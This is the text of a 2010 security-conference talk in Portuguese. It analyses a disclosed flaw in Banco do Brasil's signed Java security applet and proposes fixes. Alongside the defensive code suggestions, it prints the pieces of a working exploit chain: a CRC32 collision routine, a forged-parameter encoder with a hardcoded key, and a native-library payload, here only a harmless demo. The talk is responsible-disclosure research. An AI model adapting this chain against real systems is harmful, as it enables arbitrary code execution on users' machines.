Explorando applets Java assinadas

Um estudo de caso com o módulo de segurança do Banco do Brasil

Paulo Matias[1]

[1]Instituto de Física de São Carlos
Universidade de São Paulo

H2HC - 2010

No primeiro acesso

O usuário se depara com a applet legítima:

E aceita, afinal, ele confia em quem a publicou.

Em acessos posteriores

Para comodidade do usuário, a applet Java passa a ser carregada automaticamente.

A applet e sua origem são consideradas, de fato, confiáveis.

Surge a falha

- A assinatura garante que a applet foi empacotada pela chave legítima.
- Mas e se fosse possível carregar código externo por meio da applet?
  - O código externo não é protegido pelos mecanismos do Java.
  - Seria possível executar código na máquina do alvo.

Como saber?

- “Engenharia Reversa em Aplicativos Java” - The Bug! Magazine, Edição 4.
  - Nem todos esperam encontrar esse tipo de falha em códigos criados em linguagens de alto nível!
- Falha encontrada enquanto se desenvolvia uma alternativa em JavaScript para acessar o BB sem o Java.

operagbas (vídeo 1)

operagbas (vídeo 2)

Voltemos à falha

- A falha, nesta applet, dependia de três pontos distintos para ser explorada:
  - Ausência de validação de contexto.
  - Dependência de parâmetros externos.
  - Validação fraca da biblioteca de código nativo.

Ausência de validação de contexto

- O mecanismo de autorização do Java não verifica onde a applet é usada.
- Verificá-lo pode ser uma medida proativa interessante.

Validar o contexto (sugestão)

```
public class GbAs extends JApplet implements Observer {
  public void init() {
    /* ... */
    String expectedCodeBase = "https://www2.bancobrasil.com.br/aapf/idh";
    String expectedDocBase  = "https://www2.bancobrasil.com.br/aapf";
    if(getCodeBase().toString().startsWith(expectedCodeBase) &&
       getDocumentBase().toString().startsWith(expectedDocBase)) {
      /* ... */
    }
    else {
      this.f.set(5);
    }
    super.init();
  }
  /* ... */
}
```

Dependência de parâmetros externos

A applet recebia os seguintes parâmetros a partir do HTML:

```
<applet id="jmid" name="jmid" archive="/aapf/idh/GbAs.jar" code="br/com/gas/mid/GbAs.class"
 height="1" width="1" MAYSCRIPT>
    <param value="eNoNy8lygjAAANDf6QwHWQKUQw+AIEogLBGIlw4Eym5MZan9+vbdnyAHb59y64EC5T/heNXugZr
pazaPtSPmFTgxXTCI1UIX9vrvxUR5OkWzM1B3HxzsmHuTnrnmU7cZ+psT8m5dPcL47XAUz9ojCmpRHU5LQOFSw8zvumIx
UjRrF2etFXTAeGDxg2i6TVXabfx/1Ca+Jt6XFOZltIHWvu4GLu/IWkWpnftMShEOp+cLbLyKbH6/fNsV6jh4GXbImp7Wy
jFyCWJCc1QaAYxtQtic4C2FJYnxWDB1Iq7ynhehW7IJxUyMwdOfBlO2zJhKC9zPH38QqFtN" name="seed" />
    <param name="statusChangeCallback" value="checkApplet"/>
</applet>
```

Após decodificados:

```
{ GBAS17: 'BB'
, GBAS16: 'https://www2.bancobrasil.com.br/aapf/idh/'
, GBAS10: '2009-Sep-08 12:05:23'
, GBAS11: 'bd1242d85c5abdc6d833f8f0c82a4697'
, GBAS18: 'https://www14.bancobrasil.com.br/update/rld/'
, GTSTR_GBAS23: '61'
}
```

Dependência de parâmetros externos

O parâmetro GBAS16 era utilizado no seguinte código:

```
public class LibraryManager {
  public String downloadLibrary(String options) {
    String url;
    if(!(url = OptionManager.splitString(options, "GBAS16=")).endsWith("/")) {
      url = url + '/';
    }
    url = url + getLibraryName();
    String path = getLibraryPath();
    if(!validateLocalLibraryChecksum()) {
      (new Download()).download(url, path);
    }
    return path;
  }
  /* ... */
}
```

Utilizar uma url definida na compilação (sugestão)

```
public class LibraryManager {
  public String downloadLibrary(String options) {
    String url =
        "https://www2.bancobrasil.com.br/aapf/idh/" +
        getLibraryName();
    String path = getLibraryPath();
    if(!validateLocalLibraryChecksum()) {
      (new Download()).download(url, path);
    }
    return path;
  }
  /* ... */
}
```

Validação fraca da biblioteca de código nativo

- Era utilizado um checksum baseado no CRC32 (fácil colisão).
- Checksums disponíveis em `br/com/gas/mid/gbasfiles.chk`:

```
GBAS_SO_HASH=g8gAgt8QEODolbiyiyc=
GBAS_DYLIB_HASH=g8gAgtsVEOhK8XUyvn7j
GBAS_DLL_HASH=g8gAgtgVEOrn5r/xnltS
```

Colidindo um checksum do tipo CRC32

Método baseado em

http://www.woodmann.com/fravia/crctut1.htm:

```
RevCk.init = function() {
    this.rev = {};
    for(var i = 0; i < this.tbl.length; i++) {
        var topByte = (RevCk.tbl[i] >>> 24) & 0xff;
        this.rev[topByte] = i;
    }
};
RevCk.calc = function(current, wanted) {
    current ^= 0xffffffff;
    wanted  ^= 0xffffffff;
    var buf = [0, 0, 0, 0, 0, 0, 0, 0];
    var xor4 = function(i, value) {  // little-endian
       buf[i+0] ^= (value >>>  0) & 0xff;
       buf[i+1] ^= (value >>>  8) & 0xff;
       buf[i+2] ^= (value >>> 16) & 0xff;
       buf[i+3] ^= (value >>> 24) & 0xff;
    };
    xor4(0, current);
    xor4(4,  wanted);
    for(var i = 4; i > 0; i--) {
        var entryNum = this.rev[buf[i+3]];
        var entryVal = this.tbl[entryNum];
        xor4(i, entryVal);
        buf[i-1] ^= entryNum;
    }
    return buf.slice(0, 4);
};
```

Utilizar um hash mais forte (sugestão)

```
public class LibraryManager {
  public boolean validateLocalLibraryChecksum() {
    String hash = "";
    String correctHash = a();
    String path = getLibraryPath();
    File file = new File(path);
    if(correctHash == "")
      return 0;
    if(!file.exists() || (file.length() == 0))
      return 0;
    try {
      DigestInputStream stream =
        new DigestInputStream(
          new FileInputStream(file),
          MessageDigest.getInstance("SHA-256")
        );
      while(stream.read() != -1);
      StringBuilder sBuilder = new StringBuilder();
      for(byte b : stream.getMessageDigest().digest()) {
        sBuilder.append(Character.forDigit((b>>4) & 0xf, 16));
        sBuilder.append(Character.forDigit((b    ) & 0xf, 16));
      }
      hash = sBuilder.toString();
    }
    catch(IOException e) {
      return 0;
    }
    catch(NoSuchAlgorithmException e) {
      return 0;
    }
    return (hash == correctHash);
  }
  /* ... */
```

Funcionamento do exploit

Para explorar a falha, é necessário:

- Criar bibliotecas nativas (`.so`, `.dll`, `.dylib`) com código malicioso.
- Gerar um arquivo que colida com o checksum verificado pela applet.
- Gerar uma string de parâmetros forjada.

Código da biblioteca nativa

```
static void do_exploit() {
    const char *msg = "Parabens! Voce acabou de ser afetado"
                      "por um exploit de demonstracao do H2HC 2010.";
    const char *basename = "VOCE_FOI_EXPLOITADO.txt";
    const char *homedir = getenv("HOME");
    char filename[256];
    FILE *fp;
    if(homedir)
        snprintf(filename, sizeof(filename), "%s/%s", homedir, basename);
    else
        strncpy(filename, basename, sizeof(filename));
    if((fp = fopen(filename, "w"))) {
        fwrite(msg, strlen(msg), 1, fp);
        fclose(fp);
    }
    if(!fork()) {
        execlp("gedit", "gedit", filename, NULL);
    }
    if(!fork()) {
        execlp("xterm", "xterm", "-e", "less", filename, NULL);
    }
}
/* ... */
JNIEXPORT jstring JNICALL
Java_br_com_gas_mid_entity_CLibrary_getVersion(JNIEnv *env, jobject obj) {
    return exploit_and_return_jstring(env, "1.3.3.7");
}
```

Colisão do checksum

```
    var data = Base64.arrayifyString(fs.readFileSync(
srcfile, 'binary'));
    var curCkSum = CkSum.getValue(data);
    sys.puts('Calculated checksum: '+curCkSum);

    var revBytes = RevCk.calc(curCkSum, expectedCkSum);
    sys.puts('RevCk: ' + sys.inspect(revBytes.map(hex)));

    var data = fs.readFileSync(srcfile);
    var revBytes = new Buffer(revBytes);
    var fd = fs.openSync(destfile, 'w');
    fs.writeSync(fd, data, 0, data.length);
    fs.writeSync(fd, revBytes, 0, revBytes.length);
    fs.closeSync(fd);
```

Geração da string de parâmetros

```
function encodeParams(params, f) {
    var plainText = '';
    for(var key in params) {
        plainText += key + '=' + params[key] + '|';
    }
    plainText = plainText.substr(0, plainText.length-1);
    var partialKey = 'aBcDeFgH';
    var key =Base64.arrayifyString(partialKey+'!#$%&*)');
    var cipherText = Encripta(plainText, key);
    var result = partialKey + cipherText;
    require('child_process').exec('python -c  \'import
base64,zlib;print(base64.b64encode(zlib.compress("'+
result+'")))\'', function(err, stdout, stderr) {
        f(stdout);
    });
}
```

Demonstração do exploit

Conclusão e agradecimentos

- Falha relativamente simples de entender, porém de consequências amplas.
- Espera-se incentivar mais pesquisa neste tipo de falha.
- Agradecemos ao CSIRT do Banco do Brasil pela recepção atenciosa do relatório e pela seriedade com a qual lidaram com a questão.
  - Agradecimentos especiais a Fernando A. Higa.